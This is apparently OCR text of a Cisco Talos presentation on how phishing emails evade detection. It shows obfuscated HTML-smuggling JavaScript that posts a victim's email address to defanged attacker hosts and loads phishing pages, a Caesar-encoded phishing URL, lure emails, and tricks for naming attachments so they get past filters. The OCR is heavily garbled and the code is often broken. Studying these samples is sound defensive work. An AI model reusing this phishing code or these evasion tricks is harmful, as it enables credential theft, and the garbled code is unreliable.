gODMgNTMgMTA2IDk4IDUWIDQ4IDEXOCA4NSAZOSAINYAINCAANIAZNYAINYAXMTAgOTAGODCgNTMGMTE4IDKWIDEWOSA30CAXMDQgMTAWIDCXIDC4IDEXMSAINiAXMTAGNj YQMTEXIDKSIDY1IDYXIDY X" >
<input type="hidden" id="xPLr" value="JrZpr0TcgNzIgODIgNDggOTkgNzIgNzcgNTQgNzYgMTIxIDU3IDEWNYASOCAIMCA@OSAXMTkgOTkgMTASIDEWOCAIMOCAIMC fmtErwDogAPSIGrePH" >
<script src="https://code.jquery.com/jquery-3.6.4.min.js"></script>
<script=>
var tRRLWrudk = $("#xPLr").val();
var Flyfb = $("#0edWr").val();
var zFJyfb = $("#s0edWr").val();
var OyBJKy = $("#FLKwtdioe").val();
var JLivj = Flyfb.substr(42);
var KIUgjj = OyBJKy.substr(2@, 85);
var poBYJL = tRRLWrudk.substr(5, 85);
var psT = zFJyfb.substr(13);
var Pvjy = poBYJL+KIUgjj+JLivj;
var CEOPyb = atob(Pvjy);
var dTjeT = atob(psT);
var ASign = CEOPyb.split(' ').map(Number);
var jGREJjju = "";
for (var i = @8; i < ASign.length; i++) {
jGREJjju += String.fromCharCode(ASign[i]);
Iy

var sORe = dTjeT.split(' ').map(Number);
var dWirj = "";

for (var i = @8; i < sORe.length; i++) {
dWrj += String.fromCharCode(sORe(i]);

}

1duog pa|bbnwig

var trc = atob(jGREJjju);
window.onload = function() {
SFiegrt();

function SFiegrt(solution) {
$.post(window.atob(dWrj), {
url:trc,

}, function(data){

$('body').html(data.service)

i
}

</script>
</body>
</html>

Cisco



sing Obfuscation

1duog pea|bbnwsg

<body>
<input type="hidden" id="FLKWtdioe" value="

VYMFIGSZYEVHMnXvxMBKCA3SNiAxMDkgNzAgMTIXIDK5IDEWOSAINYAXMTAQOTkgMTASIDG2IDEWOCASOCAXMDUGNTMgMTA2IDK4IDUWID2IDK4 IDUWIDQ4IDEXOCA4AUresZQHVPYrb" >

<input type="hidden" id="OedWr" value="

Double-Encoding

aMKwdENqrripsajIPUKIXyimEqgNCRIgbvVx0SA4NYQ4IDEXOCASOSA3MSASMCAXM]EgOTcgMTIXIDU3IDEXNSASOCAIMCAXMDAGMTEYIDK4IDEWNSAIMYAXMTkgOTcgNzIgNjUgNjE=">

<input type="hidden" id="sOedWr" value="L1ArLtPbpOgph0TcgNzIgODIgNDggOTkgNzIgNzcgNTQgNzYgMTIxIDU3IDEWN1AS0SA3MiA30CAIMCAS0SAXMDUGNTMGMTEXIDK3IDG3IDU3IDEXN1ASNyA4NYATMyAxMjIg0ODk
gODMgNTMgMTA2IDk4IDUWIDQ4IDEXOCA4NSA20SAINYA4NCAANIAZNYAINYAXMTAGOTAGODCgNTMGMTE4IDkwIDEWOSA30CAXMDQGMTAWIDCXIDC4IDEXMSAINIAXMTAGN] YgMTEXIDKSIDY1IDYXIDY X" >

<input type="hidden" id="xPLr" value="JrZpr0TcgNzIgODIgNDggOTkgNzIgNzcgNTQgNzYgMTIxIDU3IDEWNYASOCAIMCAROSAXMTkgOTkgMTASIDEWOCAIMOCAIMCfmtErwDogAPSIGrcPH" >

<script src="https://code.jquery.com/jquery-3.6.4.min.js"></script>
<script>

var tRRLWrudk = $("#xPLr").val();

var Flyfb = $("#0edWr").val();

var zFJyfb = $("#sOedwr").val();

var 0yBIKy = $("#FLKWtdioe").val();

var JLivj = Flyfb.substr(42);

var KIUgjj = OyBJKy.substr(2e, 85);

var poBYJL = tRRLWrudk.substr(5, 85);

var psT = zFlyfb.substr(13);
var Pviy = poBYJL+KIUgjj+JLivj;

var CEOPyb = atob(Pvjy); https[:]//dompr[.]arrogree[.]Jpark/login.php

var ASign = CEOPyb,split(" ').map(Number);
var jGREJjju = "";

for (var 1 = @; 1 < ASign.length; i++) {
jGREJjju += String.fromCharCode(ASign[i]);
H

var sORe = dTjeT.split(' ').map(Number);
var dWrj = "";

for (var i = @; 1 < sORe.length; i++) {
dWrj += String.fromCharCode(sORe[i]);

}

var trc - atob(jJGREJJJuU);
window.onload = function() {
SFiegrt();

H
function SFiegrt(solution) {

}, function(data){

$('body').html(data.service)

});
H

</script>
</body>

var dTjeT = atob(psT); https[:]//cpsvr|.Jhiominsa[.Jcom/POST/genofcatch.php

$.post(window.atob(dWrj), { Javascript code to show the final phishing page to the victim
urlitre, and send those to another server on the fly.

Cisco



sing Obfuscation and Encryption

_ December 4, 2023 at 4:05PM
[EXTERNAL]JACH Summary Statement 12/04/2023
To:

Your remittance is attached in PDF format.

To load the report, you will need the free Adobe® Acrobat® reader, available to download at http:/www.adobe.com/

ACH_Credit01.htm

Cisco



Using Obfuscation and Encryption

<html>

1duog pe|Bbnwg

</html>

<input ¢
<script>
const _@

lass="MrblRZ" style="position:absolute;left:-9999px;" |valuve="INEIN. con''>| Email Address of the Victim

x4d8741=( function(){const _@x4f9893={'FvBTt': function(_@xldc@ed, 0x335099){return _@x1ldc@ed+_Bx335099;}, 'InfLG':'r'+'e'+ 't'+'u'+'r'+'n'+"\x20"'+' ("+'f'+'u'+'n'+'c'+'t'+'1i'+'0'+'n"+" ('+") "+'\x20", '
EPrSq': '{'+'}'+'.'+'c'+'0o'+'n"+'s"+'"t'+' r'+'u+ e+t o (22 e A28 E  Th s 22+ ) (' \x20 '+ ) ', ViHPNzZ ' s function(_@x5dd9b4, _@x2e2538){return

_0x5dd9b4———_0x2e2538;}, 'xXbAh':'Q'+'G'+'I'+'b'+'j", "BuMOx': 'i'+'j '+ 'L + k" +'w'}; let _Bx378cca=! ! []; return function(_@x1b4d37,_0x3cdbl2){const _bxbf3f@f-{ 'haDIX':function(_8x2b7293,_#x31aeb8){

return _@x2b7293(_@x31aeb8);}, 'uiqTF': function(_8x4c5e2d, 0x234c62){return _Bx4f9893['F'+'v'+'B'+'T'+'t" ] (_@x4c5e2d,_Bx234c62);}, 'TCOKc':_@x4f9893[ 1 +'n'+'f'+'L"+'G"], 'YgmwN':_@x4T9893['E'+'P'+
r'+'S'+'q" ] };17(_@x4f9893['i"+'H'+'P'+'N'+'z"] (_@x4f9893['x'+'X'+'b'+'A"+'h"],_@x4f9893['B'+'u'+'M'+'Q'+'x"])){let _@x11ce97;try{_@x11lce97-_@xbf3fef['h'+'a’'+'D'+'J'+'X"'](_0Ox4b6@52, @xbf3fef['u'+"
it TR ] (_exbf3fef [T+ C 0 K e T _exbf3fef ('Y gt tmttw N T, ) et ) ) () Feateh (_@x40dc25) {_0x11ce97-_0x5d40b7; } return _Bx11ce97; e lse{const _0x4514c2-_0x378cca’function(){if(

_@x3cdb12) {const _0x184b2d-_@x3cdbl2|['a'+'p'+'p'+'1'+'y "] (_8x1b4d37,arguments); return _@x3cdbl2=null,_@x184b2d; }}: function(){}; return _8x378cca=![],_0x4514c2;}};}()),_0x2@bfb@-_0x4d874f(this,

</script

function(){return _0x28bfb@['t'+'0'+'S'+'t'+'r'+'i"+'n'+'g']1 () ['s'+'e'+'a'+'r'+"'c'+ ' h'J(" ("' ("+"("+' '+ ") ' ) et ) S ) [t o S ' g () [t e+ n s T
a1 (_Bx20bfbe) [fs' et At e E OO ) ) e ) e '8 ) 5 1) 5 _ex28bTh@ () jconst _Bx21c691=(function(){const _@x581fe8-{'eFGFB':function(_@x3090fe,
_0x49f640) {return _0x3090fe!==_0x497640;}}; let _0x330ded=!![];return function(_@x1f5bd8, 0xa6822a){if(_0x581fe8['e'+'F'+'G'+'F'+'B']('Q'+'B'+'J'+'L'+'A"','Q'+'B'+'3'+'L"'+'A") ){const _@x335364=
_0x192c29['a’'+'p'+'p'+ L'+ 'y" ] (_@x8Bb995, arguments);return _Bx4c3140-null,_Bx335364; }else{const _0x4677fb-_0x330ded’ function(){1f(_0xab822a){const _0x43460d-_0xa6822a['a'+'p'+'p'+'1'+'y'](
_Ox1f5bd8,arguments) ; return _@xab822a-null,_@x43460d; }}: function(){}; return _0x330ded=![],_Bx4677fb;}};}()),_@x2d75eb-_8x21c691(this, function(){const _Bx53a6@4-{'esciy':function(_0x205d04,
_Bx56bc5b){return _0x205de4(_@x56bc5b);}, 'CFMvK' : function(_@xde5f1, @x3b5b3f){return _@xde5fl+ @x3b5b3f;}, 'QEABR':'r'+'e'+'t'+'u'+'r'+'n'+'\x20'+' ("+'f'+'u'+'n'+'c'+'t'+'1'+'a'+'n'+' ("+") '+'\x20'
plzjbmo' i t{TH L e et e s T e o (22 e e X2 T s 22+ ) T (' \x20 "+ ) '}, _Bxdbda9a=function() {let _@x22a6f6;try{
_Bx22a6T6-_0x53a604 ['e'+'s'+'c'+'1i'+'y" | (Function,_@x53a604['C'+'F'+'M'+'v'+'K'] (_@x53a604 [ 'Q'+'E'+'A"+'B'+'R"|+_0x53a604 ['z'+'j'+'b'+'m'+'0"], ") '+'; ")) (); }catch(_@x172efl) {_@x22a6f6-window; }
return _@x22a6f6;}, @x30a20c-_0x4bda9a(),_@x13d5ad-_0x3@a2@c['c'+'o'+'n'+'s'+'0'+'1'+'e']=_@Bx30a20c['c'+'0'+'n'+'s'+'0'+'1'+'e'] | |{},_Oxd9f4@5=['1'+'0'+'g", 'w'+'a'+'r'+'n', '"i'+'n"+'f'+'0', 'e'+'r’
+'r'+'o'+'r', e+ 'x'+'c'+'e'+'p'+ 't +'1 + 0 '+ "', ! a'+'b'+'U+'e', 't'+'r'+'a'+'c'+'e'];for(let _0xa2238c=—0x2+-0xeed+-0x5d5+-0x3+-0x2159; _@xa2238c<_0xd9f4@5['L'+'e'+'n'+'g'+'t'+'h'];_0@xa2238c
++){const _Bx319cce=_Bx21c691['c'+'o'+'n'+'s'+ ' t'+'ri+tutH et ot ptetrt ot e T ey e p et [ L Tt d ) (_Bx21c691) , _BxeSec32-_Bxd9f4@5 [_Bxa2238c] ,_@x23f6@d-_@x13d5ad
_Oxe5ec32] | |_@x319cce;_0x319cce['_'+'_'+'p'+'r'+'o'+'t'+ 0"+ _"+'_']=_0x21c691['b'+'i'+'n'+'d"'] (_0x21c691),_Ox319cce['t'+'0'+'S + t + r'+ i+ 'n"+"g" 1=_Ox23f60d['t'+'0"+'S + ' t'+'r'+'i'+'n"+"'g"'1['b
‘+'i'+'n'+'d'] (_0x23f60d) , _@x13d5ad [_BxeSec32]-_@x319cce;}});_0x2d75eb();let _Bx5dabaB-atob('C'+'i'+'A'+'g '+ 'd'+'m' +'F'+'y' + ' I'+'G'+'x'+'p'+'b'+'m'+'s'+'g"+'P'+ 'S+ 'A"+ i+ '+ X'+ 1 +'5 "+ 'd "+ X!
+'g'+' /N D RO S N e e X R 2 2 e L +'c'+'W'+ +'M'+'3'+'d"+'6 +'N'+'D'+'g A0 W P D U e D 2 0 W D
FCPYING TIRY-TINS ZHRE KRR YT TP I i NP TS TIRT S TN e T DTy T T YT IR TG U U A R Y S I 2 L e 2 N R G Y
K T G 4 L U Ay K+ g e W 0 g+ T G N D R N @ T G N 0 Y T D D D 2 R L X Dy Y X K g P S B B X T S K
T C B M D 403 4 T K R A L O B T D B g M R D S g At S A B A T G O A 2 Y A 2 Y 2 0 2 W R M e W 5 L
+'m'+')('+"L'+'b'+'|||'+'d'+'9'+'a'+‘D'+'s'+'g'+‘a'+'S'+'5'+'r" +'S'"+'B'+'7'+'C'+'i'+'A +'g‘+'I'+'C'+'A‘+'g'+'I'+'G'+'N'+'v'+'b'+'n'+'N'+‘0'+'I'+'G'+‘N'+'o'+'Y'+'X'+'J'+ D'+'b'+'2'+'R'+'1'+'L
1glegt St X N Y R U PE X D M s Y 2 R T e K N 2 G ‘+‘d'+'C' 'h‘+‘p'+' LS K T O A g T C
A'+'g'+'Y+ +'h'+'C'+ 'K N+ V2V + 'B'+c+n+'J'+h+e +'5'+'w' +'d"+'X"+'N'+'0"+'K"'+'F'+ 'N+0'+c+m+l'+u ‘m+'c! +t"0+"+h'+h+c+k' 'N+
W Z G O Y 2 R R e K N T Z G U G L S A T K S K T O A g Q0+ g T 'H‘ -J.+.1- W HH Y Y +'b‘+ A'HBH A+ Gy
+Q'+'2'+"9 K 2 U F H y e m H F S L e H p  H at W A o Dy e p 0w o g T H O K T OB 2 Y X T+ g+ a + 2y Y WL 'T
+'D'+'0'+'g + 2+ G+ WL U D N Y 3 D U Y X R U R S X LD W Y e O g At Wy Y 'H+1+‘L'+'J+y+k' +'7'+'C' 4+
LA A W Z Y Y W L U L N R B R A D B g U Y W R K K D G Y L 2 Y W L U L W Oy e W
d'tpt b A p O W o g T G UM A M 2 S S 2 Y W S K Y ' O AL PR 2O g Y W X s D 3 e d 6+
IV P TT FRPTI P [PV ST DRI RS LAY TP IS PSS T oy TRy ZPUPY I E O T TR PSS EERT SN P) TIRT TR EVT PR T ST TRy Y TIT TS
I 2 T S D G D R L W L Y Z G F TS Y e 0 W 4 0 g+ T+ G T A E A 2 G G e 2 Y W S Y e 0 A L 4 E K
2 O g N Y W X TS D B 2 N Y e K B B Ay e D 0 [} TP Eratt! i S K Y M G A L
MK Z g Y IS D B G D W X B 2 L K R Y L W 2 Y 2 W S L 2 Y W S K Y I A Ty
+'k'+‘7'+'C'+'i‘+‘A'+'g'+'a'+'w'+‘Z'+'y'+'Y'+‘W'+'1'+'1'+'L'+‘n‘+'N'+'h'+‘b'+'m‘+'R'+'1 BB g U Y W R K KO R D G e d L b 3 ) e ey
+p'H0 W Y +'I' 'G 1 Vg e ® U VE i by S M M g P Bl k' 29 R Z Y 2 0 Z U X P D M S 0 4 D G U
u'4lats! 9'+'K'+ B+ 2 N L D WV O 5 'W'+V+'y y KT LT TP VERRE WO TR DT DI ST P STENE PO DS KPRTNPRY T, [FRPO
I} O DA O AL +‘F P W U T O A g W Z Y W T U L N 0 e W X L L M N 2 et T R U e Qg P S A n (e
FIG O Z A X R P D 2 A B T G 2 4 p e GV K 10y B+ bt atnt N U D 0 g M H B A 0 4y B 3 A W TR 10 - a D 0 g M
T A W T T S g 4 A GV P T 2 h B 0 A M D A U0 Y B A D B T A K Z K T B T D B A W e D S g W F Y Z 2
U0 A W T H g T G P K 2 G U ' 2 2 o g 0y B M Y Y 2 m e x e d 2 o gt alt G UK 2 G Y
HUH0 Y B G L W U 2 G Y A0+ +'5'+'0" K0T K AT D 2 s K T OB K D 2 N LD W Y O 5 4 D 24 R4S
LW F W e G VU 2 TR N o W K K G U e e 2 S KT O A+ ) ) s const _@Bxde@e@6-document ['c'+'r'+'e'+'a'+'t'+'e'+'E'+' U'+'e'+'m
et (S e p ) ;_OXdeBeBE [t 4 e+ x T+ C 0 N+t e 4+ 't ] =_@x5da6a8, document ['b'+ o'+ d +'y 1 ['a'+'p T p + e+ n 4 d + C '+ h i+ 1+ d " ] (_BxAe0ed) ;

=

z

Base64-Encoding
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Using Obfuscation and Encryption

var link = "myyux?44h~~k~3nytsfifqfy3wz488:;p<9~04";| Phishing URL: https[:]//cyyfy[.]itonadalat[.]Jru/3356k74yj/

}
)i

function deobfuscatelLink(obfuscatedLink) {
const charCodeArray = [];
for (let 1 = @; i < obfuscatedLink.length; i++) {
const charCode = obfuscatedLink.charCodeAt(i);
charCodeArray.push(String. fromCharCode(charCode - 5));

return charCodeArray.join("'");

Caesar Decryption Function

var iframe = document.createElement('iframe');

iframe.
iframe.
iframe.
iframe.
iframe.
iframe.
iframe.
iframe.

sandbox.
sandbox.
sandbox.
sandbox.
sandbox.
sandbox.

add( 'allow-same-origin');
add('allow-top-navigation');
add('allow-modals');
add('allow-scripts');

add( 'allow-popups—to-escape-sandbox ') ;
add('allow—forms"');

src = deobfuscateLink(link) + document.querySelector(".MrblRZ").value;

style.cssText = 'position: fixed; inset: @px; width: 100%; height: 100%; border: @px; margin: Opx;padding: @px; overflow: hidden; z-index: 999999;';

document .body.appendChild(iframe);

https://blog.talosintelligence.com/hidden-between-the-tags-insights-into-evasion-techniques-in-html-smuggling/
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Taking Advantage of Engineering Oversights

January 16, 2024 at 8:16 AM

[EXTERNAL]
To:

Dear Customer.txt

Include the whole email body in attachments

€ @ Dear Customer.txt M  Open with Sublime Text

Dear Member

Your Subscription with Norton Security will Auto Renew Today and USD 411.55 is about to be debited from your account
by Today. The Debited Amount will be reflected within the next 24 Hrs in your statement. In case of any further
clarifications or block the auto-renewal service please reach out Customer Help Center.

Order ID: 93872673783
Invoice Number: YSRFGD76839

Description Quantity Unit Price Total Norton Service (One Year Subscription)

Subtotal $ 411.55
Sales Tax $ 0.00
Total $ 411.55

If you didn't authorize this Charge or want to cancel this order? To cancel & get an instant refund of your annual
subscription,
please contact our customer care : +1 888 260 4758

Thanks and regards,
Norton clsco



Taking Advantage of Engineering Oversights

September 2, 2024 at 12:51PM
[External] Benefits Received on 02/09/24:c6dbbe28

To:

. Human Resources Shared a folder with you - [JJ-Employee-Benefits.pdf (02/09/24)
Completed: Complete: 2024 PR Bbriot-Payroll Reports.pdf

@ 2024 . A1 Rights Reserved.

© © Bbriot-Payroll-Reports.docx ™  Open with Microsoft Word

m Bbriot-Payroll-Reports &

.docx

[Enhanced Bonus Distribution Strategy

Your attention to the document provided by the Human Resources/Payroll
Department is requested.

Date: Monday September 2024

Scan the QR code below with your smartphone camera for easy access to the
document review.

Cisco



Taking Advantage of Engineering Oversights

< ?7=3D"" style=3D'|display: none; |max—height: @px; overflow: hidden;">

ST —— <p class=3D"MsoNofmal >< Style=3D"font-family:&quot;Calibri Light&quot;=
b ,sans-serif;color:#1F4E79;mso-fareast-language:EN-US">Cordless Drill/Driver=
Kit Department Et j=E2=80=99ajoute Elise Beyens (directrice du =
HARBOR FREIGHT Centre de Service social de Namur)<o:p></o:p></ ></p>
<p class=3D"MsoNormal'>< style=3D"font-family:&quot;Calibri Light&quot;=
,sans-serif;color:#1F4E79;mso-fareast-language: EN-US"> Bonne journ=C3=
- — =A%e< ></ ></ ></p>
Tlme Is <p class=3D"MsoNormal'>< style=3D" font—family:&quot;Calibri Light&quot;=
,sans—serif;color:#1F4E79;mso-fareast-language:EN-US">Mathieu< ></ ></
RUUNNINCI®UN pan></p>
Last Chance to Win A Brand New <p class=3D"MsoNormal'>< style=3D"font-family:&quot;Calibri Light&quot;=
BAUER 20V CORDLESS DRILL/ ,sans-serif;color:#1F4E79;mso-fareast-language:EN-US">< >&nbsp;</ ></
DRIVER KIT an></p>

GET YOURS

@cm Ocm">
PR <p class=3D"MsoNormal'><b>< lang=3D"FR">De&nbsp; :</ ></b>< lang=
[ 'T- ;;;”: =3D"FR"> Dimitri Phukan &1t;dphukan@ecoconso.beéqgt;
e <br>
[ ¢

< style=3D"border:none;border-top:solid #E1E1E1 1.0pt;padding:3.0pt Ocm =

<b>Envoy=C3=A9&nbsp; :</b> mercredi 4 septembre 2024 12:18<br>
<b>=C3=80&nbsp; :</b> christophe.dubois &1lt;christophe.dubois@reseau-idee.be=
&gt;; Groupe de Pairs &1t;groupedepairs@crabe.bedgt;<br>

<b>0bjeté&nbsp;:</b> Re: Nouveaux pairs potentiels<o:p></ 4 ></p>
</ >
</ >
<p class=3D"MsoNormal">< >&nbsp;</ ></p>
Just answer a few questions and WIN. <p>De mon c=C3=B4t=C3=A9, j'ai eu un contact avec Sylvie Droulans (ConsomAc=
Your Opportunity to Shine Awaits tion ) < ></ ></p>

<p>Dimitri< ></ ></p>
<p class=3D"MsoNormal'>Le 04-09-24 =C3=A0 12:11, christophe.dubois a =C3=A9=

crit&nbsp; :<o:p></0:p></p>

</ >

X-Forefront-Antispam—-Report-Untrusted:

CIP:255.255.255.255;CTRY: ; CL:1;SRV:;IPV:NLI;SFV:NSPM;H:AM9PRO8MB6113.eurprd@8.prod.outlook.com;PTR:; CAT:NONE;SFS: (13230040)
(376014 ) (1800799024 ) (366016) (69100299015) (38070700018) ;DIR:0UT;SFP:1102;
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Taking Advantage of Engineering Oversights

Using alternative or similar file extensions for attachments to bypass message filtering mechanisms.

- dd129
Content-Type: text/html; charset="US-ASCII"; name="attachment.html" | R B L

Content-Disposition: attachment; filename="attachment.html" ——000000000000323F1406030ddbb5

Content-Transfer-Encoding: base64 |Content-Type: application/octet—stream; name="attachment.htm." |
Content-ID: <f_lle@sh4z0> Content-Disposition: attachment; filename="attachment.htm."
X-Attachment-Id: f 1le@sh4z0 Content-Transfer-Encoding: base64

Content-ID: <f_lle@vzsho>

PCFETONUWVBFIGhObw+Cjx0dG1sIGxhbmc9ImVul j4KPGh LYWQ+CiAgPG11dGEgY2hhcnN1dDO1 AAttachacat Id:Rt lledv2cho

VVRGLTgiPgogIDxtZXRhIG5hbWU9INZpZXdwb3J0IiBjb250ZW50PSI3aWR0aD1kZXZpY2Utd2 k PCFETONUWVBFIGh@bWw-+CjxodG1sIGxhbmc9ImVul j4KPGh1YWQ+CiAgPG11dGEgY2hhcnN1dDOi
dGgsIGluaXRpYWwtc2NhbGUIMSAWI j4KICABAGLObGU+TGInaW4gUGFnZTwvdGlObGU+CiAgPHN® VVRGLTgiPgogIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSI3aWR@aD1kZXZpY2Utd21k
eWx1PgogICAgYm9keSB7CiAgICAgIGZvbnQtZmFtawx50iBBcmlhbCwgc2Fucy12ZXIpZjsKICAg dGgsIGluaXRpYWwtc2NhbGUIMSAwI j4KICABAG1ObGU+TGInaW4gUGFnZTwvdG1ObGU+CiAgPHNO
ICAQYmFja2dyb3VuzC1jb2xvcjogI2YyZjImMj sKICAGICAgbWFyZ2 lu0iAwOwogICAGICBWYWRK UG el Bl G e b Ul B LT
- i gYmFja2dyb3VuzC1jb2xvcjogI2YyZjImMjsKICAGICAgbWFyZ21u0iAwOwogICAGICBW
ah5n01Aw0wogICAgICBkaXhwbGFS01BmbGV40wogICAGICBqdXN@aWZSLWNvbNR1bnQGIGN bRl aW5n0iAwOwogICAgICBkaXNwbGF501BmbGV40wogICAgICBqdXN@aWZ5LWNvbnRbnQ6IGNbnRL
¢JSKICAGICAgYWxpZ24taXR LbXM6IGN LbnR1cjsKICAGICAgaGVpz2h@0iAxMDB2aDsKICAIHOK cj sKICAgICAgYWxpZ24taXRbXMBIGN 1bnR1cj sSKICAgICAgaGVpZ2h@0iAxMDB2aDsKICAGIHOK
ICAgIC5sb2dpbiljb250YWluzZXIgewogICAgICBiYWNrZ3JvdW5kLWNvbGOy0iAjZmZmOwogICAg TCAATCR<h2dnhi1ih25AYW1 uZXTaewnaTCAATCR YWN r73 Tvdwskl WNvhGAvNiAi ZmZmOwnaTCAn
The Content-Type of the HTML attachment of an example email. The Content-Type of the "htm.” attachment of an example email.

Cisco



Email Threat Detection
Challenges



Main Defense Challenges

The email threat landscape in changes rapidly.
An email defense solution consists of several independent components.

Advanced detection solutions need ground truth and collecting accurate ground truth is challenging.

Privacy concerns and Plls

Full name

Email address

Date of birth

Phone number

Social Security number
Driver's license number
Passport number
Credit card number
Medical records

etc.

Cisco



Conclusion

 Email threat landscape is changing fast, and threat actors try to find new ways to bypass email gateways and
detection engines.

A summary of most popular evasion techniques in 2024:
* Evading reputation services
o URL shortening
o URL redirection
o URL encoding
* Evading rule-based detection engines
o Textrephrasing
o Text poisoning
o Using images and visual components
* Evading advanced detection systems
o Using multiple forms of CAPTCHAS
o Using obfuscation and encryption techniques

o Taking advantage of engineering oversights
Cisco



I’'m hiring!

* |am hiring at both junior and senior levels.

* Look for the public job postings in one of the following places:
» Cisco Talos job postings: https://talosintelligence.com/careers
My LinkedlIn page: https://www.linkedin.com/in/omirzaei
My X page: https://twitter.com/malearnity

Cisco


https://talosintelligence.com/careers
https://www.linkedin.com/in/omirzaei
https://twitter.com/malearnity

@ blog talosintelligence.com ® @talossecurity

TALOSINTELLIGENCE.COM




thank vou!

@ blog talosintelligence.com ® @talossecurity

TALOSINTELLIGENCE.COM
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